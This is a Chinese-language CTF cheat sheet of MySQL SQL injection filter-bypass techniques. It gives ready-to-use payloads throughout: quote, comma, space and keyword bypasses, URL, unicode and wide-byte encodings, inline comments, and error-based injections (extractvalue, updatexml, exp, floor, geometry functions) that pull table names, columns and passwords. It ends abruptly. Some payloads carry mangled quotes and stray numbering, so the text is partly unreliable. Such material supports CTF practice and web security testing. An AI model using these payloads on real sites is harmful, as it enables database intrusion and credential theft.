导语

打了这么长时间的CTF,也见了不少的SQL注入的题目,也该好好总结一下有哪些技巧了,持续更新(自己总结外加搜集,老鸟飘过,大牛勿喷)。。。

order by 过滤

两个都可以用来判断列数,但是两者是有区别的
1.order by 是你select 了几个就可以在那几个的范围里面变动,超过就报错。

orderby1

orderby23

into 就比较死板,必须是你select 了几个就要into 几个,少了多了都不行。而且必须是一行才可以所以必须要limit.(1.select into 本是一个备份内容的操作。2.@是一个变量符号)

intod

2.order by 只能在 limit前使用,into 只能在limit 之后使用
orderby的顺序
into的顺序

小结:order by 过滤了用into

16进制绕过引号

有些时候过滤了引号,导致字符串不能写入,我们可以用字符串的16进制形式绕过,这样就不需要引号了。还有hex()和unhex()这两个函数可以使用。

1
2
select column_name from information_schema.columns where table_name="users"
select column_name from information_schema.tables where table_name=0x7573657273

等于号过滤使用like 或者 in 绕过

等号过滤用in或like 代替

substr(password,1,1) in('p');
substr(password,1,1) like('p');

in 还能通过order by 指定顺序

select * from users where id IN (3,6,9,1,2,5,8,7) order by field(id,3,6,9,1,2,5,8,7);

<,> 代替等于号构造真值

or swords > sw

or swords < tw

or 1<3

字符串相等绕过

or ‘swords’ = ‘swords’

sleep过滤

可以用 benchmark BENCHMARK(count,expr)
BENCHMARK()函数重复countTimes次执行表达式expr,执行的时间长了,也达到了sleep的作用。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17

## 编码绕过
URLEncode编码,ASCII,HEX,unicode编码绕过

1.URL编码:or 1=1即%6f%72%20%31%3d%31

2.url双重编码; ?id=1%252f%252a\*/UNION%252f%252a /SELECT%252f%252a*/1,2,password%252f%252a\*/FROM%252f%252a\*/Users--+

3.hex编码:见16进制绕过单引号

4.ascii编码: SELECT FROM Users WHERE username = CHAR(101, 97, 105, 116)

或者

char(101)+char(97)+char(105)+char(116)

5.unicode编码:

一些unicode编码举例:
单引号:’
%u0027 %u02b9 %u02bc
%u02c8 %u2032
%uff07 %c0%27
%c0%a7 %e0%80%a7
空白:
%u0020 %uff00
%c0%20 %c0%a0 %e0%80%a0
左括号(:
%u0028 %uff08
%c0%28 %c0%a8
%e0%80%a8
右括号):
%u0029 %uff09
%c0%29 %c0%a9
%e0%80%a9

1
2
3
6.html 实体编码:SELECT FROM Users WHERE username = &#39;admin&#39;
## substr()的逗号绕过
from 1 for 1 代替 substr(,1,1)

select * from pass where id=1 union select 1,2, substr((select username from users limit 0,1),1,1);

select * from pass where id=1 union select 1,2, substr((select username from users limit 0,1) from 1 for 1);

1
2
3
4

## limit 逗号绕过

limit 1 offset 0 代替limit 0,1

select * from pass where id=1 union select 1,2, substr((select username from users limit 1 offset 0),1,1);

1
还可以直接用 ```select top 1 from admin where .....代替limit 0,1

其他逗号绕过(使用join)

select * from users union select 1,2,3;
select * from users union select * from (select 1)a join (select 2)b join (select 3)c;

NOTE : ‘using()’ can replace ‘on’

greatest between 绕过<,> 等比较符号

当我们盲注的时候,要用到比较符号,如果过滤了可以用greatest(x,y,z,..)绕过 返回的是他们的最大值

1
select * from users where id=1 and ascii(substr(database(),0,1))>64

改成

1
select * from users where id=1 and greatest(ascii(substr(database(),0,1)),64)=64

当然这里的等于号可以改成in()

SELECT * FROM `p_archives_3` WHERE `picsad` between 1113 and 1122

等同于

SELECT * FROM `p_archives_3` WHERE `picsad` >= 1113 and `picsad`<=1122

你要保证picsad是数字类型的

空格绕过

1.()
括号是用来包围子查询的。因此,任何可以计算出结果的语句,都可以用括号包围起来。而括号的两端,可以没有多余的空格
select(user())from dual where(1=1)and(2=2)
?id=1%27and(sleep(ascii(mid(database()from(1)for(1)))=109))%23

2./**/或者/*1*/

3.%0d %0a %0c %0b %a0

4.+

5.TAB

6.两个括号

7.把上面说的编一下码试试

8.select Afrom B 默认from后面必须是空格再加表名,因此为了不让你使用from可能正则表达式会检测后面的空格,我们可以用科学计数法绕过,因为1e0后面可以没有空格

1
select A,1E0fromB

这里的逗号是两列的意思 1e0占了第二列

同样,上面的1E0可以用1.0代替

9.\N 绕过 原来一直不知道是绕过啥,后来请教了math1as师傅发现是绕过NULL,因为\N相当于NULL

1
select * from pass where id=\Nunion select 1,2, greatest((substr((select username from users limit 1 offset 0),1,1)),'v')in('v');

10.id 与from在之间的空格绕过

select+id-1+1.from users;
select-id-1+3.from users;

注意:第二句得到的id将会是 -id+2

常见的注释

1.–+

2.#

3.%23

4.– -

5.%00

6.` 单行或者多行注释(别名)

7./ / 单行或者多行注释

利用过滤删除绕过

比如说他过滤了/**/(将其删除)又过滤了select那么我们可以这么写
sel/**/ect.

意思就是被删除的可以加在另一个要删除的里面,这样不仅不会识别,删除后又还原了,实现绕过,这里面还包括双写被过滤字符的方法

大小写绕过

经常试试大小写混合比如 UnIOn sELecT….

内联注释绕过

介绍一下什么是内联注释:/!/在其他数据库语言中是注释,但是在sql中却可以执行,为了sql提高语句的兼容性.

1
2
3
id=1/*!UnIoN*/+SeLeCT+1,2,concat(/*!table_name*/)+FrOM /*information_schema*/.tables /*!WHERE */+/*!TaBlE_ScHeMa*/+like+database()-- -

/*!50001from*/ 表示在mysql版本高于50001也就是mysql5中可以执行这条命令

+ - . 拆分字符串绕过

?id=1’ or ‘11+11’=’11+11’
“-“和”.”

反引号绕过

可以用来过空格和正则,特殊情况下还可以将其做注释符用(单行或多行注释)实际上是mysql别名的用法,详细见雨神的博客
http://www.yulegeyu.com/2017/04/11/%E4%B8%BA%E4%BB%80%E4%B9%88-backtick-%E8%83%BD%E5%81%9A%E6%B3%A8%E9%87%8A%E7%AC%A6/
select version()

符号代替文字绕过

1.&&代替and

2.||代替or

3.| 代替 xor

宽字节绕过

简单的讲一下,一般当引号被过滤就会在引号前加一个\,将其转义失去作用,这样我们就不能闭合引号完成注入了。但是如果他的字符集设置为了双字节,也就是说两个字符可以代表一个中文的情况,那么我们就可以构造成一个中文字,\的url是%27我们在引号前写上%df,那么%df%27构成了中文的繁体运,引号就没有被过滤,成功绕过。当然不只是%df只要在那个字符集的范围内都可以。如%bf%27 %df%27 %aa%27

等价函数变量的绕过

1.hex()、bin() ==> ascii()

2.sleep() ==>benchmark()

这里补充一下:

1
2
在sqlsever 中用 waitfor delay
在Oracle 中用 DBMS_PIPE.RECEIVE_MESSAGE()函数和CASEWHEN„THEN„语句

3.concat_ws()==>group_concat()

4.mid()、substr() ==> substring()

5.@@user ==> user()

6.@@datadir ==> datadir()

7.@@version ==> version()

数字的其他写法绕过空格

1
2
select * from users where id=8E0union select 1,2,3,4,5,6,7,8,9,0
select * from users where id=8.0union select 1,2,3,4,5,6,7,8,9,0

注:E0是科学计数法

conv(,10,36)代替字母

conv(10,10,36)是大写的A
lower(conv(10,10,36/16s))小写的a

常见的bypass

1.id=1+(UnIoN)+(SelECT)+

2.id=1+(UnIoN+SeLeCT)+

3.id=1+(UnI)(oN)+(SeL)(EcT)

4.id=1+’UnI’’On’+’SeL’’ECT’ <-MySQL only

5.id=1+’UnI’||’on’+SeLeCT’ <-MSSQL only

使用count(*) 返回数据行数

select count(*) from users;
+----------+
| count(*) |
+----------+
|       13 |
+----------+

注意: 这里的行数只是真正的行数,不是最终的id 编号

报错注入

1.extractvalue 报错

and extractvalue(1, concat(1, (select database() limit 0,1)))--+;

查表
and extractvalue(1, concat(1,(select table_name from information_schema.tables limit 0,1)))–+;
查列
and extractvalue(1, concat(1,(select column_name from information_schema.columns limit 0,1)))–+;
查数据
and extractvalue(1, concat(1,(select password from users limit 0,1)))–+;

2.UpdateXml报错

测试语句

and 1=(updatexml(1,concat(0x3a,(select user())),1))

实际测试过程

mysql> select * from article where id = 1 and 1=(updatexml(0x3a,concat(1,(select user())),1))
ERROR 1105 (HY000): XPATH syntax error: ’:root@localhost’ 

3.运算数值的大小限制报错

select exp(~(select*from(select user())a));
ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select 'root@localhost' from dual)))'

这个函数是计算e的n次方,~是按位取补,exp计算的次方数是有限制的,我们如果给他传一个字符串,php 的弱类型就会当成是0这样取反之后就超了,报错

类似的还有:

select !(select*from(select user())x)-~0;

这里注意一下:

进行嵌套查询的时候子查询出来的的结果是作为一个派生表来进行上一级的查询的,所以子查询的结果必须要有一个别名,一般是as+别名 但是as 可以省略。

4.floor()

select * from test where id=1 and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a);

5.geometrycollection()

select * from test where id=1 and geometrycollection((select * from(select * from(select user())a)b));

6.multipoint()

select * from test where id=1 and multipoint((select * from(select * from(select user())a)b));

7.polygon()

select * from test where id=1 and polygon((select * from(select * from(select user())a)b));

8.linestring()

select * from test where id=1 and linestring((select * from(select * from(select user())a)b));

9.multilinestring()

select * from test where id=1 and multilinestring((select * from(select * from(select user())a)b));

10.multipolygon()

select * from test where id=1 and multipolygon((select * from(select * from(select user())a)b));

限制与from的组合

用 from. 代替 from

如果遇到表名或者字段名是保留字

这个时候最好使用点号连接表名和字段名,或者直接使用反引号包起来

##利用mysql 的特性
1.当使用自定义的不存在函数的时候就会报错显示出库的名字

mysql> select * from users where id =a();
ERROR 1305 (42000): FUNCTION security.a does not exist

2.当查找重复的列的是时候就会报错

pro_id=2 union select * from (select * from product_2017ctf as A join product_2017ctf as B using(pro_id)) as C
Duplicate column name 'pro_name' 

注意: MySQL是兼容两个列相同的但是却不兼容在这个基础上再select * from

在列名被过滤的情况下得到结果

要在不出现字段名的情况下查出内容,将一个虚拟表和当前表联合起来即可

pro_id=-1 union select 1,a.4,3,4 from (select 1,2,3,4 from dual union select * from product_2017ctf)a limit 3,1; 

##在函数名与括号间添加空格或者注释绕过函数过滤

例如:

concat/**/()

在查询时使用一个不存在的函数就能报错出数据库的名字

select password from contents where id=a()
这个a()是不存在的函数,结果如下